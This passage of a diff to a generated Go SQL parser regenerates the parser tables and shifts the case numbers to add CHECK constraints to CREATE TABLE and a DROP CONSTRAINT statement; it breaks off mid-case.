37, + 37, -1000, 192, 82, -1000, 404, 426, 13, 12, 302, + 159, 260, -1000, -1000, 310, -1000, 61, 173, 63, 11, + 67, -1000, 263, 10, 188, 389, 429, -1000, 37, 37, + -1000, 116, 197, 250, -1000, 116, 116, 9, -1000, -1000, + 116, -1000, -1000, -1000, -1000, -1000, 6, -1000, -1000, -1000, + -1000, -15, -1000, 5, 187, 377, 376, 372, 421, 142, + 142, 441, 116, 75, -1000, 151, -1000, 4, 94, -1000, + -1000, 185, 38, 103, 52, 180, -1000, 177, 2, 179, + 102, -1000, -1000, 197, 116, 116, 116, 116, 116, 116, + 257, 261, 134, -1000, 214, 73, 260, -13, 116, 116, + 142, -1000, 177, 175, 174, 171, 166, 99, -24, 60, + -1000, -61, 288, 396, 197, 441, 159, 116, 441, 425, + 309, 1, -1, -3, -4, 173, -5, 173, -1000, 88, + -1000, -27, -28, -1000, 59, -1000, 131, 142, -8, 432, + 73, 73, 255, 255, 214, 65, -1000, 244, 116, -9, + -1000, -29, -1000, 155, -30, 46, 197, -62, -1000, -1000, + 380, -1000, -1000, 432, 334, 158, 326, 284, 116, 388, + 288, -1000, 197, 200, 173, -32, 406, -35, -36, 156, + -43, -1000, -1000, -1000, -1000, -1000, 181, -77, -64, 142, + -1000, -1000, -1000, -1000, -1000, 214, -25, -1000, 129, -1000, + 116, -1000, 147, -1000, -10, -1000, -10, -1000, 116, 197, + -49, 284, 302, -1000, 200, 307, -1000, -1000, 173, 145, + 173, 173, -45, 173, 364, -1000, 116, 143, 254, 125, + 111, -1000, -65, -51, -66, -52, 197, -1000, 126, -1000, + 116, 36, 197, -1000, -1000, 142, -1000, 300, -1000, 4, + -1000, -57, -1000, -1000, -1000, -1000, 357, 150, 355, 246, + -1000, 167, -82, -58, -1000, -1000, -1000, -1000, -1000, -10, + 323, -59, -67, 304, 293, 441, 173, -49, 370, 116, + -1000, -1000, -1000, -1000, -1000, -1000, 319, -1000, -1000, 282, + 116, 138, 385, -1000, -71, -1000, 70, 312, 288, 292, + 197, 25, -1000, 116, -1000, 370, -1000, 284, 94, 138, + 197, -1000, -1000, 24, 276, -1000, 94, -1000, -1000, -1000, + 276, -1000, } var yyPgo = [...]int16{ - 0, 451, 391, 450, 449, 448, 17, 447, 446, 20, - 12, 9, 445, 444, 14, 8, 16, 13, 443, 11, - 2, 442, 441, 440, 3, 439, 438, 10, 364, 21, - 437, 436, 186, 435, 15, 434, 433, 0, 18, 432, - 431, 430, 429, 6, 4, 428, 5, 427, 426, 1, - 7, 344, 425, 424, 423, 22, 422, 421, 19, 420, + 0, 480, 426, 479, 478, 477, 18, 476, 475, 20, + 13, 10, 474, 473, 16, 9, 17, 14, 472, 11, + 2, 471, 470, 469, 3, 468, 467, 12, 378, 22, + 466, 465, 210, 464, 15, 463, 462, 8, 0, 19, + 461, 460, 459, 458, 6, 4, 457, 7, 456, 455, + 1, 5, 368, 454, 453, 452, 23, 451, 450, 21, + 448, } var yyR1 = [...]int8{ - 0, 1, 2, 2, 59, 59, 3, 3, 3, 4, + 0, 1, 2, 2, 60, 60, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, - 58, 58, 58, 58, 51, 51, 11, 11, 5, 5, - 5, 5, 57, 57, 56, 56, 55, 12, 12, 14, - 14, 15, 10, 10, 13, 13, 17, 17, 16, 16, - 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, - 19, 8, 8, 9, 45, 45, 45, 52, 52, 53, - 53, 53, 6, 6, 6, 6, 6, 6, 7, 26, - 26, 25, 25, 21, 21, 22, 22, 20, 20, 20, - 20, 23, 23, 24, 24, 27, 27, 27, 27, 27, - 27, 27, 27, 28, 29, 30, 30, 30, 31, 31, - 31, 32, 32, 33, 33, 34, 34, 35, 36, 36, - 38, 38, 42, 42, 39, 39, 43, 43, 44, 44, - 48, 48, 50, 50, 47, 47, 49, 49, 49, 46, - 46, 46, 37, 37, 37, 37, 37, 37, 37, 37, - 40, 40, 40, 40, 54, 54, 41, 41, 41, 41, - 41, 41, 41, 41, + 4, 59, 59, 59, 59, 52, 52, 11, 11, 5, + 5, 5, 5, 58, 58, 57, 57, 56, 12, 12, + 14, 14, 15, 10, 10, 13, 13, 17, 17, 16, + 16, 18, 18, 18, 18, 18, 18, 18, 18, 18, + 18, 19, 8, 8, 9, 46, 46, 46, 53, 53, + 54, 54, 54, 6, 6, 6, 6, 6, 6, 7, + 26, 26, 25, 25, 21, 21, 22, 22, 20, 20, + 20, 20, 23, 23, 24, 24, 27, 27, 27, 27, + 27, 27, 27, 27, 28, 29, 30, 30, 30, 31, + 31, 31, 32, 32, 33, 33, 34, 34, 35, 36, + 36, 39, 39, 43, 43, 40, 40, 44, 44, 45, + 45, 49, 49, 51, 51, 48, 48, 50, 50, 50, + 47, 47, 47, 37, 37, 37, 38, 38, 38, 38, + 38, 38, 38, 38, 41, 41, 41, 41, 55, 55, + 42, 42, 42, 42, 42, 42, 42, 42, } var yyR2 = [...]int8{ 0, 1, 2, 3, 0, 1, 1, 1, 1, 2, - 1, 1, 1, 4, 2, 3, 3, 11, 3, 8, - 9, 7, 5, 6, 6, 8, 6, 7, 7, 3, - 0, 1, 1, 1, 0, 3, 1, 3, 9, 8, - 7, 8, 0, 4, 1, 3, 3, 0, 1, 1, - 3, 3, 1, 3, 1, 3, 0, 1, 1, 3, - 1, 1, 1, 1, 1, 6, 1, 1, 1, 1, - 4, 1, 3, 5, 0, 3, 3, 0, 1, 0, - 1, 2, 1, 4, 2, 2, 3, 2, 13, 0, - 1, 0, 1, 1, 1, 2, 4, 1, 2, 4, - 4, 2, 3, 1, 3, 3, 4, 4, 4, 4, - 4, 2, 6, 1, 2, 0, 2, 2, 0, 2, - 2, 2, 1, 0, 1, 1, 2, 6, 0, 1, - 0, 2, 0, 3, 0, 2, 0, 2, 0, 2, - 0, 3, 0, 4, 2, 4, 0, 1, 1, 0, - 1, 2, 1, 1, 2, 2, 4, 4, 6, 6, - 1, 1, 3, 3, 0, 1, 3, 3, 3, 3, - 3, 3, 3, 4, + 1, 1, 1, 4, 2, 3, 3, 12, 3, 8, + 9, 7, 5, 6, 6, 8, 6, 6, 7, 7, + 3, 0, 1, 1, 1, 0, 3, 1, 3, 9, + 8, 7, 8, 0, 4, 1, 3, 3, 0, 1, + 1, 3, 3, 1, 3, 1, 3, 0, 1, 1, + 3, 1, 1, 1, 1, 1, 6, 1, 1, 1, + 1, 4, 1, 3, 5, 0, 3, 3, 0, 1, + 0, 1, 2, 1, 4, 2, 2, 3, 2, 13, + 0, 1, 0, 1, 1, 1, 2, 4, 1, 2, + 4, 4, 2, 3, 1, 3, 3, 4, 4, 4, + 4, 4, 2, 6, 1, 2, 0, 2, 2, 0, + 2, 2, 2, 1, 0, 1, 1, 2, 6, 0, + 1, 0, 2, 0, 3, 0, 2, 0, 2, 0, + 2, 0, 3, 0, 4, 2, 4, 0, 1, 1, + 0, 1, 2, 0, 4, 6, 1, 1, 2, 2, + 4, 4, 6, 6, 1, 1, 3, 3, 0, 1, + 3, 3, 3, 3, 3, 3, 3, 4, } var yyChk = [...]int16{ - -1000, -1, -2, -3, -4, -5, -6, 34, 36, 37, - 4, 6, 5, 27, 38, 39, 42, 43, -7, 74, - 48, -59, 100, 35, 7, 23, 25, 24, 8, 83, - 7, 14, 23, 25, 8, 23, 8, 40, 40, 50, - -28, 83, 62, 75, 76, 23, 77, -25, 49, -2, - -51, 66, -51, -51, 25, 83, 83, -29, -30, 16, - 17, 83, 26, 83, 83, 83, 83, -28, -28, -28, - 44, -26, 63, 83, -21, 97, -22, -20, -24, 90, - 83, 83, 64, 83, 26, -51, 9, -31, 19, 18, - -32, 20, -37, -40, -41, 64, 96, 67, -20, -18, - 101, 85, 86, 87, 88, 89, 72, -19, 78, 79, - 71, 83, -32, 83, 92, 28, 29, 5, 9, 101, - 101, -38, 53, -56, -55, 83, -6, 50, 94, -46, - 83, 61, -23, 93, 101, 92, 67, 101, 83, 26, - 10, -32, -32, -37, 95, 96, 98, 97, 81, 82, - 69, -54, 73, 64, -37, -37, 101, -37, 101, 101, - 101, 83, 31, 30, 31, 31, 10, -12, -10, 83, - -10, -50, 6, -37, -38, 94, 82, -27, -28, 101, - 75, 76, 23, 77, -19, 83, -20, 83, 93, 87, - 97, -24, 83, -8, -9, 83, 101, 83, 87, -37, - -37, -37, -37, -37, -37, 71, 64, 65, 68, 84, - -6, 102, -37, -17, -16, -37, -10, -9, 83, 83, - 83, 87, 102, 94, 102, -43, 56, 25, -50, -55, - -37, -50, -29, -6, 15, 101, 101, 101, 101, -46, - -46, 87, 102, 102, 94, 84, -10, 101, -58, 11, - 12, 13, 71, -37, 101, 102, 61, 102, 94, 102, - 30, -58, 41, 83, 41, -44, 57, -37, 26, -43, - -33, -34, -35, -36, 80, -46, 102, 21, 102, 102, - 83, 102, 32, -9, -45, 103, 101, 102, -10, -6, - -16, 84, -37, 83, -14, -15, 101, -14, -37, -11, - 83, 101, -44, -38, -34, 51, -46, 83, -46, -46, - 102, -46, 33, -53, 71, 64, 85, 85, 102, 102, - 102, 102, -57, 94, 26, -17, -10, -42, 54, -27, - 102, -11, -52, 70, 71, 104, 102, -15, 45, 102, - 102, -39, 52, 55, -50, -46, 102, 46, -48, 58, - -37, -13, -24, 26, 47, -43, 55, 94, -37, -44, - -47, -20, -24, 94, -49, 59, 60, -20, -49, + -1000, -1, -2, -3, -4, -5, -6, 36, 38, 39, + 4, 6, 5, 27, 40, 41, 44, 45, -7, 76, + 50, -60, 102, 37, 7, 23, 25, 24, 8, 85, + 7, 14, 23, 25, 8, 23, 8, 42, 42, 52, + -28, 85, 64, 77, 78, 23, 79, -25, 51, -2, + -52, 68, -52, -52, 25, 85, 85, -29, -30, 16, + 17, 85, 26, 85, 85, 85, 85, -28, -28, -28, + 46, -26, 65, 85, -21, 99, -22, -20, -24, 92, + 85, 85, 66, 85, 26, -52, 9, -31, 19, 18, + -32, 20, -38, -41, -42, 66, 98, 69, -20, -18, + 103, 87, 88, 89, 90, 91, 74, -19, 80, 81, + 73, 85, -32, 85, 94, 28, 29, 5, 9, 103, + 103, -39, 55, -57, -56, 85, -6, 52, 96, -47, + 85, 63, -23, 95, 103, 94, 69, 103, 85, 26, + 10, -32, -32, -38, 97, 98, 100, 99, 83, 84, + 71, -55, 75, 66, -38, -38, 103, -38, 103, 103, + 103, 85, 31, 30, 31, 31, 32, 10, -12, -10, + 85, -10, -51, 6, -38, -39, 96, 84, -27, -28, + 103, 77, 78, 23, 79, -19, 85, -20, 85, 95, + 89, 99, -24, 85, -8, -9, 85, 103, 85, 89, + -38, -38, -38, -38, -38, -38, 73, 66, 67, 70, + 86, -6, 104, -38, -17, -16, -38, -10, -9, 85, + 85, 85, 85, 89, 104, 96, 104, -44, 58, 25, + -51, -56, -38, -51, -29, -6, 15, 103, 103, 103, + 103, -47, -47, 89, 104, 104, 96, 86, -10, 103, + -59, 11, 12, 13, 73, -38, 103, 104, 63, 104, + 96, 104, 30, -59, 43, 85, 43, -45, 59, -38, + 26, -44, -33, -34, -35, -36, 82, -47, 104, 21, + 104, 104, 85, 104, -37, -9, 35, 32, -46, 105, + 103, 104, -10, -6, -16, 86, -38, 85, -14, -15, + 103, -14, -38, -11, 85, 103, -45, -39, -34, 53, + -47, 85, -47, -47, 104, -47, 33, -38, 85, -54, + 73, 66, 87, 87, 104, 104, 104, 104, -58, 96, + 26, -17, -10, -43, 56, -27, 104, 34, 96, 35, + -53, 72, 73, 106, 104, -15, 47, 104, 104, -40, + 54, 57, -51, -47, -11, -37, -38, 48, -49, 60, + -38, -13, -24, 26, 104, 96, 49, -44, 57, 96, + -38, -37, -45, -48, -20, -24, 96, -50, 61, 62, + -20, -50, } var yyDef = [...]int16{ 0, -2, 1, 4, 6, 7, 8, 10, 11, 12, - 0, 0, 0, 0, 0, 0, 0, 0, 82, 0, - 91, 2, 5, 9, 34, 34, 34, 0, 0, 14, - 0, 115, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 113, 89, 84, 85, 0, 87, 0, 92, 3, - 0, 0, 0, 0, 34, 0, 15, 16, 118, 0, - 0, 18, 0, 0, 29, 0, 0, 0, 0, 130, - 0, 0, 90, 86, 0, 93, 94, 149, 97, 0, - 103, 13, 0, 0, 0, 0, 0, 114, 0, 0, - 116, 0, 122, -2, 153, 0, 0, 0, 160, 161, - 0, 60, 61, 62, 63, 64, 0, 66, 67, 68, - 69, 103, 117, 0, 0, 0, 0, 0, 0, 47, - 0, 142, 0, 130, 44, 0, 83, 0, 0, 95, - 150, 0, 98, 0, 0, 0, 35, 0, 0, 0, - 0, 119, 120, 121, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 165, 154, 155, 0, 0, 0, 56, - 0, 22, 0, 0, 0, 0, 0, 0, 48, 52, - 0, 136, 0, 131, 142, 0, 0, 142, 115, 0, - 0, 0, 0, 0, 149, 113, 149, 151, 0, 101, - 0, 0, 104, 0, 71, 0, 0, 0, 30, 166, - 167, 168, 169, 170, 171, 172, 0, 0, 0, 163, - 0, 162, 0, 0, 57, 58, 0, 23, 24, 0, - 26, 30, 0, 0, 0, 138, 0, 0, 136, 45, - 46, -2, 149, 0, 0, 0, 0, 0, 0, 111, - 96, 102, 99, 100, 0, 74, 0, 0, 27, 31, - 32, 33, 173, 156, 0, 157, 0, 70, 0, 21, - 0, 28, 0, 53, 0, 40, 0, 137, 0, 138, - 130, 124, -2, 0, 129, 105, 149, 0, 149, 149, - 0, 149, 0, 72, 79, 0, 0, 19, 0, 0, - 0, 0, 59, 25, 42, 49, 56, 39, 139, 143, - 36, 0, 41, 132, 126, 0, 106, 0, 107, 108, - 109, 110, 0, 77, 80, 0, 0, 0, 20, 158, - 159, 65, 38, 0, 0, 0, 0, 134, 0, 142, - 149, 0, 73, 78, 81, 75, 76, 50, 0, 51, - 37, 140, 0, 0, 0, 112, 17, 0, 136, 0, - 135, 133, 54, 0, 43, 138, 0, 0, 127, 88, - 141, 146, 55, 0, 144, 147, 148, 146, 145, + 0, 0, 0, 0, 0, 0, 0, 0, 83, 0, + 92, 2, 5, 9, 35, 35, 35, 0, 0, 14, + 0, 116, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 114, 90, 85, 86, 0, 88, 0, 93, 3, + 0, 0, 0, 0, 35, 0, 15, 16, 119, 0, + 0, 18, 0, 0, 30, 0, 0, 0, 0, 131, + 0, 0, 91, 87, 0, 94, 95, 150, 98, 0, + 104, 13, 0, 0, 0, 0, 0, 115, 0, 0, + 117, 0, 123, -2, 157, 0, 0, 0, 164, 165, + 0, 61, 62, 63, 64, 65, 0, 67, 68, 69, + 70, 104, 118, 0, 0, 0, 0, 0, 0, 48, + 0, 143, 0, 131, 45, 0, 84, 0, 0, 96, + 151, 0, 99, 0, 0, 0, 36, 0, 0, 0, + 0, 120, 121, 122, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 169, 158, 159, 0, 0, 0, 57, + 0, 22, 0, 0, 0, 0, 0, 0, 0, 49, + 53, 0, 137, 0, 132, 143, 0, 0, 143, 116, + 0, 0, 0, 0, 0, 150, 114, 150, 152, 0, + 102, 0, 0, 105, 0, 72, 0, 0, 0, 31, + 170, 171, 172, 173, 174, 175, 176, 0, 0, 0, + 167, 0, 166, 0, 0, 58, 59, 0, 23, 24, + 0, 26, 27, 31, 0, 0, 0, 139, 0, 0, + 137, 46, 47, -2, 150, 0, 0, 0, 0, 0, + 0, 112, 97, 103, 100, 101, 153, 75, 0, 0, + 28, 32, 33, 34, 177, 160, 0, 161, 0, 71, + 0, 21, 0, 29, 0, 54, 0, 41, 0, 138, + 0, 139, 131, 125, -2, 0, 130, 106, 150, 0, + 150, 150, 0, 150, 0, 73, 0, 0, 80, 0, + 0, 19, 0, 0, 0, 0, 60, 25, 43, 50, + 57, 40, 140, 144, 37, 0, 42, 133, 127, 0, + 107, 0, 108, 109, 110, 111, 0, 0, 0, 78, + 81, 0, 0, 0, 20, 162, 163, 66, 39, 0, + 0, 0, 0, 135, 0, 143, 150, 0, 153, 0, + 74, 79, 82, 76, 77, 51, 0, 52, 38, 141, + 0, 0, 0, 113, 0, 154, 0, 0, 137, 0, + 136, 134, 55, 0, 17, 153, 44, 139, 0, 0, + 128, 155, 89, 142, 147, 56, 0, 145, 148, 149, + 147, 146, } var yyTok1 = [...]int8{ @@ -507,12 +522,12 @@ var yyTok1 = [...]int8{ 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, - 101, 102, 97, 95, 94, 96, 99, 98, 3, 3, + 103, 104, 99, 97, 96, 98, 101, 100, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, - 3, 103, 3, 104, + 3, 105, 3, 106, } var yyTok2 = [...]int8{ @@ -525,7 +540,7 @@ var yyTok2 = [...]int8{ 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, - 92, 93, 100, + 92, 93, 94, 95, 102, } var yyTok3 = [...]int8{ @@ -928,9 +943,9 @@ yydefault: yyVAL.stmt = &UseSnapshotStmt{period: yyDollar[3].period} } case 17: - yyDollar = yyS[yypt-11 : yypt+1] + yyDollar = yyS[yypt-12 : yypt+1] { - yyVAL.stmt = &CreateTableStmt{ifNotExists: yyDollar[3].boolean, table: yyDollar[4].id, colsSpec: yyDollar[6].colsSpec, pkColNames: yyDollar[10].ids} + yyVAL.stmt = &CreateTableStmt{ifNotExists: yyDollar[3].boolean, table: yyDollar[4].id, colsSpec: yyDollar[6].colsSpec, checks: yyDollar[8].checks, pkColNames: yyDollar[11].ids} } case 18: yyDollar = yyS[yypt-3 : yypt+1] @@ -978,286 +993,291 @@ yydefault: yyVAL.stmt = &DropColumnStmt{table: yyDollar[3].id, colName: yyDollar[6].id} } case 27: + yyDollar = yyS[yypt-6 : yypt+1] + { + yyVAL.stmt = &DropConstraintStmt{table: yyDollar[3].id, constraintName: yyDollar[6].id} + } + case 28: yyDollar = yyS[yypt-7 : yypt+1] { yyVAL.stmt = &CreateUserStmt{username: yyDollar[3].id, password: yyDollar[6].str, permission: yyDollar[7].permission} } - case 28: + case 29: yyDollar = yyS[yypt-7 : yypt+1] { yyVAL.stmt = &AlterUserStmt{username: yyDollar[3].id, password: yyDollar[6].str, permission: yyDollar[7].permission} } - case 29: + case 30: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.stmt = &DropUserStmt{username: yyDollar[3].id} } - case 30: + case 31: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.permission = PermissionReadWrite } - case 31: + case 32: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.permission = PermissionReadOnly } - case 32: + case 33: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.permission = PermissionReadWrite } - case 33: + case 34: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.permission = PermissionAdmin } - case 34: + case 35: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 35: + case 36: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.boolean = true } - case 36: + case 37: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.ids = []string{yyDollar[1].id} } - case 37: + case 38: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.ids = yyDollar[2].ids } - case 38: + case 39: yyDollar = yyS[yypt-9 : yypt+1] { yyVAL.stmt = &UpsertIntoStmt{isInsert: true, tableRef: yyDollar[3].tableRef, cols: yyDollar[5].ids, rows: yyDollar[8].rows, onConflict: yyDollar[9].onConflict} } - case 39: + case 40: yyDollar = yyS[yypt-8 : yypt+1] { yyVAL.stmt = &UpsertIntoStmt{tableRef: yyDollar[3].tableRef, cols: yyDollar[5].ids, rows: yyDollar[8].rows} } - case 40: + case 41: yyDollar = yyS[yypt-7 : yypt+1] { yyVAL.stmt = &DeleteFromStmt{tableRef: yyDollar[3].tableRef, where: yyDollar[4].exp, indexOn: yyDollar[5].ids, limit: yyDollar[6].exp, offset: yyDollar[7].exp} } - case 41: + case 42: yyDollar = yyS[yypt-8 : yypt+1] { yyVAL.stmt = &UpdateStmt{tableRef: yyDollar[2].tableRef, updates: yyDollar[4].updates, where: yyDollar[5].exp, indexOn: yyDollar[6].ids, limit: yyDollar[7].exp, offset: yyDollar[8].exp} } - case 42: + case 43: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.onConflict = nil } - case 43: + case 44: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.onConflict = &OnConflictDo{} } - case 44: + case 45: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.updates = []*colUpdate{yyDollar[1].update} } - case 45: + case 46: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.updates = append(yyDollar[1].updates, yyDollar[3].update) } - case 46: + case 47: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.update = &colUpdate{col: yyDollar[1].id, op: yyDollar[2].cmpOp, val: yyDollar[3].exp} } - case 47: + case 48: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ids = nil } - case 48: + case 49: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.ids = yyDollar[1].ids } - case 49: + case 50: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.rows = []*RowSpec{yyDollar[1].row} } - case 50: + case 51: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.rows = append(yyDollar[1].rows, yyDollar[3].row) } - case 51: + case 52: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.row = &RowSpec{Values: yyDollar[2].values} } - case 52: + case 53: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.ids = []string{yyDollar[1].id} } - case 53: + case 54: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.ids = append(yyDollar[1].ids, yyDollar[3].id) } - case 54: + case 55: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.cols = []*ColSelector{yyDollar[1].col} } - case 55: + case 56: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.cols = append(yyDollar[1].cols, yyDollar[3].col) } - case 56: + case 57: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.values = nil } - case 57: + case 58: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.values = yyDollar[1].values } - case 58: + case 59: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.values = []ValueExp{yyDollar[1].exp} } - case 59: + case 60: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.values = append(yyDollar[1].values, yyDollar[3].exp) } - case 60: + case 61: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Integer{val: int64(yyDollar[1].integer)} } - case 61: + case 62: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Float64{val: float64(yyDollar[1].float)} } - case 62: + case 63: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Varchar{val: yyDollar[1].str} } - case 63: + case 64: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Bool{val: yyDollar[1].boolean} } - case 64: + case 65: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Blob{val: yyDollar[1].blob} } - case 65: + case 66: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.value = &Cast{val: yyDollar[3].exp, t: yyDollar[5].sqlType} } - case 66: + case 67: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = yyDollar[1].value } - case 67: + case 68: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Param{id: yyDollar[1].id} } - case 68: + case 69: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Param{id: fmt.Sprintf("param%d", yyDollar[1].pparam), pos: yyDollar[1].pparam} } - case 69: + case 70: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &NullValue{t: AnyType} } - case 70: + case 71: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.value = &FnCall{fn: yyDollar[1].id, params: yyDollar[3].values} } - case 71: + case 72: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.colsSpec = []*ColSpec{yyDollar[1].colSpec} } - case 72: + case 73: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.colsSpec = append(yyDollar[1].colsSpec, yyDollar[3].colSpec) } - case 73: + case 74: yyDollar = yyS[yypt-5 : yypt+1] { yyVAL.colSpec = &ColSpec{colName: yyDollar[1].id, colType: yyDollar[2].sqlType, maxLen: int(yyDollar[3].integer), notNull: yyDollar[4].boolean, autoIncrement: yyDollar[5].boolean} } - case 74: + case 75: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.integer = 0 } - case 75: + case 76: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.integer = yyDollar[2].integer } - case 76: + case 77: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.integer = yyDollar[2].integer } - case 77: + case 78: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 78: + case 79: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = true } - case 79: + case 80: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 80: + case 81: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = false } - case 81: + case 82: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.boolean = true } - case 82: + case 83: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.stmt = yyDollar[1].stmt } - case 83: + case 84: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.stmt = &UnionStmt{ @@ -1266,35 +1286,35 @@ yydefault: right: yyDollar[4].stmt.(DataSource), } } - case 84: + case 85: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.stmt = &SelectStmt{ ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "databases"}}, } } - case 85: + case 86: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.stmt = &SelectStmt{ ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "tables"}}, } } - case 86: + case 87: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.stmt = &SelectStmt{ ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "table", params: []ValueExp{&Varchar{val: yyDollar[3].id}}}}, } } - case 87: + case 88: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.stmt = &SelectStmt{ ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "users"}}, } } - case 88: + case 89: yyDollar = yyS[yypt-13 : yypt+1] { yyVAL.stmt = &SelectStmt{ @@ -1311,432 +1331,447 @@ yydefault: offset: yyDollar[13].exp, } } - case 89: + case 90: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.distinct = true } - case 90: + case 91: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.distinct = false } - case 91: + case 92: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.distinct = false } - case 92: + case 93: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.distinct = true } - case 93: + case 94: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sels = nil } - case 94: + case 95: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sels = yyDollar[1].sels } - case 95: + case 96: yyDollar = yyS[yypt-2 : yypt+1] { yyDollar[1].sel.setAlias(yyDollar[2].id) yyVAL.sels = []Selector{yyDollar[1].sel} } - case 96: + case 97: yyDollar = yyS[yypt-4 : yypt+1] { yyDollar[3].sel.setAlias(yyDollar[4].id) yyVAL.sels = append(yyDollar[1].sels, yyDollar[3].sel) } - case 97: + case 98: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sel = yyDollar[1].col } - case 98: + case 99: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.sel = &JSONSelector{ColSelector: yyDollar[1].col, fields: yyDollar[2].jsonFields} } - case 99: + case 100: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.sel = &AggColSelector{aggFn: yyDollar[1].aggFn, col: "*"} } - case 100: + case 101: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.sel = &AggColSelector{aggFn: yyDollar[1].aggFn, table: yyDollar[3].col.table, col: yyDollar[3].col.col} } - case 101: + case 102: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.jsonFields = []string{yyDollar[2].str} } - case 102: + case 103: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.jsonFields = append(yyVAL.jsonFields, yyDollar[3].str) } - case 103: + case 104: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.col = &ColSelector{col: yyDollar[1].id} } - case 104: + case 105: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.col = &ColSelector{table: yyDollar[1].id, col: yyDollar[3].id} } - case 105: + case 106: yyDollar = yyS[yypt-3 : yypt+1] { yyDollar[1].tableRef.period = yyDollar[2].period yyDollar[1].tableRef.as = yyDollar[3].id yyVAL.ds = yyDollar[1].tableRef } - case 106: + case 107: yyDollar = yyS[yypt-4 : yypt+1] { yyDollar[2].stmt.(*SelectStmt).as = yyDollar[4].id yyVAL.ds = yyDollar[2].stmt.(DataSource) } - case 107: + case 108: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: "databases"}, as: yyDollar[4].id} } - case 108: + case 109: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: "tables"}, as: yyDollar[4].id} } - case 109: + case 110: yyDollar = yyS[yypt-4 : yypt+1] { 